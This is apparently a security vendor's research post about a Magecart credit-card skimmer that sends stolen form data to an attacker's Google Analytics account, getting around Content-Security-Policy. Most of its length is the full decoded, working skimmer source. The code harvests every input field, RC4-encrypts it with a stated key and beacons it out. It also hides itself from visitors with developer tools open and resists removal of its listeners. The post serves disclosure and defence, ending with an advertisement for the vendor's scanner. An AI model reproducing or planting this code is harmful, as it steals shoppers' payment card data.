Get started in 5 minutes!

Digital skimmer runs entirely on Google, defeats CSP

Digital skimmer runs entirely on Google, defeats CSP

A newly discovered skimming campaign runs entirely on Google servers, Sansec research shows. The novel malware sends stolen credit cards directly to Google Analytics, evading security controls like CSP.

Typically, a digital skimmer (aka Magecart) runs on dodgy servers in tax havens, and its location reveals its nefarious intent. But when a skimming campaign runs entirely on trusted Google servers, very few security systems will flag it as "suspicious". And more importantly, popular counter measures like Content-Security-Policy (CSP) will not work when a site administrator trusts Google.

The ramification of this new extraction method, is that CSP is practically worthless when you already have Google Analytics on your site. Merchants should use other methods to prevent theft of customer data. The most important one is preventing unauthorized access to your code base (the root cause of most hacks). Sansec recommends eComscan, the most advanced malware & vulnerability scanner for eCommerce sites today.

Technical analysis

Sansec has been tracking this novel campaign since March 17th. Several dozen stores have been injected with the loader, which runs on Googles open storage platform firebasestorage.googleapis.com.

The loader URL of this campaign is typically crafted to resemble the victim store, like this:

The loader has several layers of obfuscation. First, it creates a temporary iFrame that loads a Google Analytics account under control of the attacker (Google ID: UA-169607397-1).

Then, it watches for form input. When a victim enters his/her credit card data, it gets encrypted and then sent as custom Analytics event to Google.

Subsequently, the thief is able to extract the credit card data from the Google Analytics dashboard, using the (XOR) encryption key c879f68417529b0c3851a7e336089fcb2c116b8d.

Other notable behaviour:

  • Because the client IP isn't directly logged to Google Analytics, the malware uses an external service https://api.ipify.org?format=json to retrieve the IP of the victim. The IP is stored in a cookie called _gaip. If you have such a cookie, you should double check your credit card statements!
  • The malware author did not care to remove his/her notes in broken English, such as "all fields what send" (to log the intercepted output).
  • The malware includes a debugging/testing facility, that can be enabled by adding debug_mode=11 to local storage.
  • If, at any time, the site visitor had the "Developer tools" open, the user would get flagged and the skimmer would not work for this user.

Full decoded malware source

/* 
  Decoded, (C) 2020 [email protected] 
  Functions/variables manually renamed but debug left in tact 
*/
(function () {
  var isDeveloperCookie = '_giad';
  var clientIPcookie = '_gaip';
  function findCookie(a0) {
    var a1 = document.cookie.match(new RegExp('(^| )' + a0 + '=([^;]+)'));
    if (a1) { return a1[0x2]; };
  }

  function setCookie(a0, a1, a2) {
    var a3 = '';
    if (a2) {
      var a4 = new Date();
      a4.setTime(a4.getTime() + a2 * 24 * 60 * 60 * 1000);
      a3 = '; expires=' + a4.toUTCString();
    }
    document.cookie = a0 + '=' + (a1 || '') + a3 + '; path=/';
  }

  function createGidLocalStorage() {
    if (window.localStorage.getItem('_gid')) {
      return window.localStorage.getItem('_gid');
    }
    var a0 = getUUID();
    window.localStorage.setItem('_gid', a0);
    return a0;
  }

  function debugLog(a0, a1) {
    if (isDebugEnabled()) {
      console.log(a0, a1);
    }
  }

  function l(a0) {
    if (a0) {
      if (getAnalyticsIFrame() && getAnalyticsIFrame().document) {
        return getAnalyticsIFrame().String(a0);
      }
      return String(a0);
    } else {
      if (getAnalyticsIFrame() && getAnalyticsIFrame().document) {
        return getAnalyticsIFrame().String;
      }
      return String;
    }
  }

  function xorEncode(a0, a1) {
    var a2 = [],
      a3 = 0,
      a4, a5 = '';
    for (var a6 = 0; a6 < 256; a6++) {
      a2[a6] = a6;
    }
    for (a6 = 0; a6 < 256; a6++) {
      a3 = (a3 + a2[a6] + l(a0).charCodeAt(a6 % a0.length)) % 256;
      a4 = a2[a6];
      a2[a6] = a2[a3];
      a2[a3] = a4;
    }
    a6 = 0;
    a3 = 0;
    for (var a7 = 0; a7 < a1.length; a7++) {
      a6 = (a6 + 1) % 256;
      a3 = (a3 + a2[a6]) % 256;
      a4 = a2[a6];
      a2[a6] = a2[a3];
      a2[a3] = a4;
      a5 += l().fromCharCode(l(a1).charCodeAt(a7) ^ a2[(a2[a6] + a2[a3]) % 256]);
    }
    return a5;
  }

  function isDebugEnabled() {
    return localStorage.getItem('debug_mode') == '11';
  }

  function hasDeveloperCookie() {
    return !!findCookie(isDeveloperCookie);
  }

  function noDeveloperFound() {
    return !hasDevTools && !hasDeveloperCookie() || hasDevTools && isDebugEnabled();
  }
  var hasDevTools = false;
  var r = {};
  r.isOpen = false;
  r.orientation = undefined;
  var s = r;
  var t = 160;
  var devToolsStatus = function (a0, a1) {
    var a2 = {};
    a2.isOpen = a0;
    a2.orientation = a1;
    var a3 = {};
    a3.detail = a2;
    window.dispatchEvent(new CustomEvent('devtoolschange', a3));
  };
  setInterval(checkForDevToosl, 500);

  function checkForDevToosl() {
    var a0 = window.outerWidth - window.innerWidth > t;
    var a1 = window.outerHeight - window.innerHeight > t;
    var a2 = a0 ? 'vertical' : 'horizontal';
    if (!(a1 && a0) && (window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || a0 || a1)) {
      if (!s.isOpen || s.orientation !== a2) {
        markAsDeveloper();
        devToolsStatus(true, a2);
      }
      s.isOpen = hasDevTools = true;
      s.orientation = a2;
    } else {
      if (s.isOpen) {
        devToolsStatus(false, undefined);
      }
      s.isOpen = hasDevTools = false;
      s.orientation = undefined;
    }
  }

  function getRandNum(a0, a1) {
    return parseInt(Math.random() * (a1 - a0) + a0);
  }

  function markAsDeveloper() {
    if (!findCookie(isDeveloperCookie)) {
      setCookie(isDeveloperCookie, 'GA1.2.' + getRandNum(100000000, 999999999) + '.' + getRandNum(1000000000, 9999999999), 100);
    }
  }

  function y() {
    document.querySelectorAll('iframe#ga').forEach(function (a3) {
      debugLog('removed element', a3);
      a3.remove();
    });
    var a0 = document.createElement('iframe');
    a0.style.visibility = 'hidden';
    a0.style.width = '1px';
    a0.style.position = 'fixed';
    a0.style.height = '1px';
    a0.style.top = '-9999px';
    a0.style.left = '-9999px';
    a0.style.display = 'none';
    a0.frameBorder = 0;
    a0.setAttribute('scrolling', 'no');
    a0.id = 'ga';
    a0.name = 'ga';
    var a1 = 'function l(){var e,t,n,c,o,a;e=window,t=document,n=\'script\',c=\'_xxmga\',e.GoogleAnalyticsObject=c,e[c]=e[c]||function(){(e[c].q=e[c].q||[]).push(arguments)},e[c].l=1*new Date,o=t.createElement(n),a=t.getElementsByTagName(n)[0],o.async=1,o.onerror=_xe,o.onload=_xl,o.src=\'https://www.google-analytics.com/analytics.js\',a.parentNode.insertBefore(o,a),_xxmga(\'create\',\'UA-169607397-1\',\'auto\')}l();var i=i;function _xe(){i<6&&(l(),i++)}function _xl(){document&&document.currentScript&&document.currentScript.remove()};';
    var a2 = '<html><head><script>' + a1 + '</script></head><body></body></html>';
    if (document && document.querySelector('body')) {
      document.querySelector('body').appendChild(a0);
      debugLog('iframe added');
      a0.contentWindow.document.open();
      a0.contentWindow.document.write(a2);
      a0.contentWindow.document.close();
    }
  }

  function getAnalyticsIFrame() {
    let a0 = document.querySelector('iframe#ga[name=ga]');
    if (a0) {
      return a0.contentWindow || a0;
    }
    return null;
  }
  var A = '1';
  var eventID = '48';
  var clientIP;

  function D() {
    let a0 = new XMLHttpRequest();
    let a1 = 'https://api.ipify.org?format=json';
    a0.open('GET', a1, true);
    a0.setRequestHeader('Content-Type', 'application/json');
    a0.onreadystatechange = function () {
      try {
        if (a0.readyState == 4 && a0.status == 200 && a0.responseText) {
          clientIP = JSON.parse(a0.responseText).ip;
          setCookie(clientIPcookie, 'GA1.2.' + getRandNum(100000000, 999999999) + '.' + clientIP);
          debugLog('clientIp', clientIP);
        }
      } catch (a2) {
        debugLog('xhr load ip error', a2);
      }
    };
    a0.send();
  }

  function readAllInputs() {
    let allInputFields = document.querySelectorAll('input, select, textarea');
    let a1 = [];
    for (let inputfield of allInputFields) {
      if (inputfield.value && inputfield.value.trim() != '') {
        var a2 = {};
        a2['a'] = F(inputfield.attributes);
        a2['v'] = inputfield.value;
        a2['s'] = inputfield.tagName.charAt(0);
        a1.push(a2);
      }
    }
    return a1;
  }

  function F(a0) {
    let a1 = [];
    let a2 = ['name', 'id'];
    if (a0 && a0.length) {
      for (let a3 of a0) {
        if (a2.includes(a3.name)) {
          a1.push(a3.value);
        }
      }
    }
    return a1;
  }

  function G(a0) {
    if (a0) {
      return a0[0x0];
    }
  }
  var H = 'c879f68417529b0c3851a7e336089fcb2c116b8d';

  function sendPayload(source) {
    if (source && source.length) {
      let payload = {};
      payload.fields = source;
      payload.user_id = A;
      payload.host = window.location.host;
      payload.user_agent = window.navigator.userAgent;
      var timestamp = new Date();
      timestamp.setTime(timestamp.getTime() + (timestamp.getTimezoneOffset() - parseInt(timestamp.getTimezoneOffset())) * 60 * 1000);
      if (Y && getIPFromCookie()) {
        payload.ip = getIPFromCookie();
      }
      if (hasDeveloperCookie()) {
        payload.isDeveloper = 1;
      }
      payload.uid = findCookie('_gid') || createGidLocalStorage();
      payload.datetime = timestamp.toLocaleString();
      debugLog('all fields what send', payload);
      payload = serialize(payload);
      debugLog('data length', payload.length);
      let xorData = xorEncode(H, payload);
      debugLog('data rc4', xorData);
      debugLog('data rc4 length', xorData.length);
      let stolenData = base64encode(xorData);
      debugLog('data rc4', stolenData);
      debugLog('data rc4 length', stolenData.length);
      if (noDeveloperFound() && getAnalyticsIFrame() && getAnalyticsIFrame()._xxmga) {
        getAnalyticsIFrame()._xxmga('send', 'event', eventID, stolenData, getUUID());
      }
    }
  }

  function serialize(a0) {
    if (getAnalyticsIFrame() && getAnalyticsIFrame().document) {
      return getAnalyticsIFrame().unescape(getAnalyticsIFrame().encodeURIComponent(getAnalyticsIFrame().JSON.stringify(a0)));
    }
    return unescape(encodeURIComponent(JSON.stringify(a0)));
  }

  function base64encode(a0) {
    if (getAnalyticsIFrame() && getAnalyticsIFrame().document) {
      debugLog('??getGAIframe');
      return getAnalyticsIFrame().btoa(a0);
    }
    return btoa(a0);
  }

  function getUUID() {
    return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (a0) {
      var a1 = Math.random() * 16 | 0,
        a2 = a0 == 'x' ? a1 : a1 & 3 | 8;
      return a2.toString(16);
    });
  }
  var M;
  var N = EventTarget.prototype.addEventListener;
  EventTarget.prototype.addEventListener = function (a0, a1, a2 = false) {
    if (a2 == 'notRemovedListener') {
      M = a1;
    }
    return N.call(this, a0, a1);
  };
  var O = EventTarget.prototype.removeEventListener;
  EventTarget.prototype.removeEventListener = function (a0, a1, a2) {
    if (a1 == M) {
      return;
    }
    return O.call(this, a0, a1, a2);
  };
  var P = [];
  var Q = R;
  var R = function a0(a1) {
    if (P.includes(a1)) {
      return undefined;
    }
    return Q(a1);
  };
  var S = T;
  var T = function a1(a2) {
    if (P.includes(a2)) {
      return undefined;
    }
    return S(a2);
  };

  function U() {
    if (!M) {
      document.addEventListener('change', W, 'notRemovedListener');
    }
  }
  document.addEventListener('change', W, 'notRemovedListener');
  var V = window.setInterval(U, 1000);
  P.push(V);

  function W(a2) {
    debugLog('start_sniff');
    let a3 = a2.target;
    if (a3) {
      sendPayload(readAllInputs());
    }
  }
  debugLog('Sniffer init');
  checkForDevToosl();
  debugLog('is developer', hasDeveloperCookie());
  if (noDeveloperFound()) {
    y();
    var X = window.setInterval(function () {
      if (!document.querySelector('iframe#ga[name=ga]')) {
        y();
      }
    }, 1000);
    P.push(X);
  }
  var Y = '0';
  if (Number(Y) && noDeveloperFound() && !findCookie(clientIPcookie)) {
    D();
  }

  function getIPFromCookie() {
    if (findCookie(clientIPcookie)) {
      let a2 = findCookie(clientIPcookie);
      a2 = a2.split('.');
      if (a2.length && a2.length > 3) {
        a2.shift();
        a2.shift();
        a2.shift();
        let a3 = a2.join('');
        if (!isNaN(a3)) {
          return a2.join('.');
        }
      }
    }
    return false;
  }
  if (document && document.currentScript) {
    document.currentScript.remove();
  }
}());


var i = i;

function _xe() {
  i < 6 && (l(), i++)
}

function l() {
  var e, t, n, c, o, a;
  e = window;
  t = document;
  n = 'script';
  c = '_xxmga';
  window.GoogleAnalyticsObject = '_xxmga';
  window._xxmga = window._xxmga || function () {
    (e[c].q = e[c].q || []).push(arguments)
  };
  e[c].l = 1 * new Date;
  o = t.createElement(n);
  a = t.getElementsByTagName(n)[0];
  o.async = 1;
  o.onerror = _xe;
  o.onload = _xl;
  o.src = 'https://www.google-analytics.com/analytics.js';
  a.parentNode.insertBefore(o, a);
  _xxmga('create', 'UA-169607397-1', 'auto')
}
l();
function _xl() {
  document && document.currentScript && document.currentScript.remove()
};

Hackers get smarter every day.
Outsmart them with eComscan.

eComscan is the automated backend security scanner that keeps your online store safe from attackers. Discover vulnerabilities and malicious activity instantly.
Sansec experts study dozens of hacks every day to keep you protected. Sansec is the only company specializing in Magento security and is a proud Adobe partner.

Scan now